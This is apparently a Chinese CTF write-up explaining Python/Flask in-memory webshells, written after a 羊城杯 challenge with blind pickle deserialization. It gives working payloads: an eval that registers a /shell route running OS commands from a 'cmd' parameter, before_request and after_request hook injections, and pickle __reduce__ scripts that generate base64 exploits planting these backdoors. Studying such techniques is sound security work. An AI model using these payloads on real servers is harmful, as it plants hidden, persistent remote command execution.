关于python内存马

在羊城杯碰到的一道python题目中有一道涉及到无回显的反序列化,当时是用数据外带的方法做的题目,但是赛后查看wp发现了python内存马这一写法。

老版flask内存马注入

如果想要在python中实现内存马 必须想是否能动态注册新路由

主要做法是通过add_url_rule方法添加一个新的后门路由

add_url_ruel介绍

1
app.add_url_rule('/index/',endpoint='index',view_func=index)

三个参数:

url:必须以/开头

endpoint:(站点)

view_func:方法 只需要写方法名也可以为匿名参数),如果使用方法名不要加括号,加括号表示将函数的返回值传给了view_func参数了,程序就会直接报错。

Flask上下文管理机制

在使用 Flask 框架实现功能接口的时候,前端点击按钮发送请求的请求方式和 form 表单提交给后端的数据,后端都是通过 Flask 中的 request 对象来获取的。在 Flask 框架中,这种传递数据的方式被称为上下文管理,在 Flask 框架中有四个上下文管理对象:request ,session,current_app 和 g 变量。其中request 和 session 被称为请求上下文,current_app 和 g 变量被称为应用上下文。

eval用法eval(expression, globals=None, locals=None)

expression(必需):python表达式 执行并访问执行的结果

globals(可选):这是一个字典,它提供了执行表达式时可用的全局变量。如果没有提供,eval() 默认使用调用时的全局作用域(即当前环境中的全局变量)

locals(可选):这是一个字典,表示执行表达式时可用的局部变量。如果没有提供,eval() 默认使用当前作用域中的局部变量。

payload解析

1
2
3
4
5
6
7
8
9
10
url_for.__globals__['__builtins__']['eval'](
"app.add_url_rule(
'/shell',
'shell',
lambda :__import__('os').popen(_request_ctx_stack.top.request.args.get('cmd', 'whoami')).read()
)",
{
'_request_ctx_stack':url_for.__globals__['_request_ctx_stack'],
'app':url_for.__globals__['current_app']
}

(1)url_for.__globals__['__builtins__'] Python 中内置的全局函数和对象,包括 print()eval() 等。通过这一步,你可以访问内置的 eval() 函数

内存马示例:

1
`( "app.add_url_rule( '/shell', 'shell', lambda :__import__('os').popen(_request_ctx_stack.top.request.args.get('cmd', 'whoami')).read() )"`

创建一个新路由 /shell 在这个/shell 获取请求中的cmd参数 如果没有提供cmd参数 就默认执行whoami命令

1
{ '_request_ctx_stack':url_for.__globals__['_request_ctx_stack'], 'app':url_for.__globals__['current_app'] }

新版内存马

@app.before_request

在response(响应)之前做响应

1
eval("__import__('sys').modules['__main__'].__dict__['app'].before_request_funcs.setdefault(None,[]).append(lambda :__import__('os').popen('dir').read())")

@app.after_request

1
eval("app.after_request_funcs.setdefault(None, []).append(lambda resp: CmdResp if request.args.get('cmd') and exec(\"global CmdResp;CmdResp=__import__(\'flask\').make_response(__import__(\'os\').popen(request.args.get(\'cmd\')).read())\")==None else resp)")

在羊城杯的这道题目中使用反序列化去打内存马即:

1
2
3
4
5
6
7
8
9
10
import os
import pickle
import base64
class A():
def __reduce__(self):
return (eval,("__import__(\"sys\").modules['__main__'].__dict__['app'].before_request_funcs.setdefault(None, []).append(lambda :__import__('os').popen(request.args.get('a')).read())",))

a = A()
b = pickle.dumps(a)
print(base64.b64encode(b))
1
2
3
4
5
6
7
8
9
10
import os
import pickle
import base64
class A():
def __reduce__(self):
return (eval,("__import__('sys').modules['__main__'].__dict__['app'].after_request_funcs.setdefault(None, []).append(lambda resp: CmdResp if request.args.get('gxngxngxn') and exec(\"global CmdResp;CmdResp=__import__(\'flask\').make_response(__import__(\'os\').popen(request.args.get(\'a\')).read())\")==None else resp)",))

a = A()
b = pickle.dumps(a)
print(base64.b64encode(b))

总结内存马并不同于php的一句话木马,其是将木马打入内存之中,当用户访问创建的路由时内存马即可执行,相较于一句话木马来说这种隐蔽性更高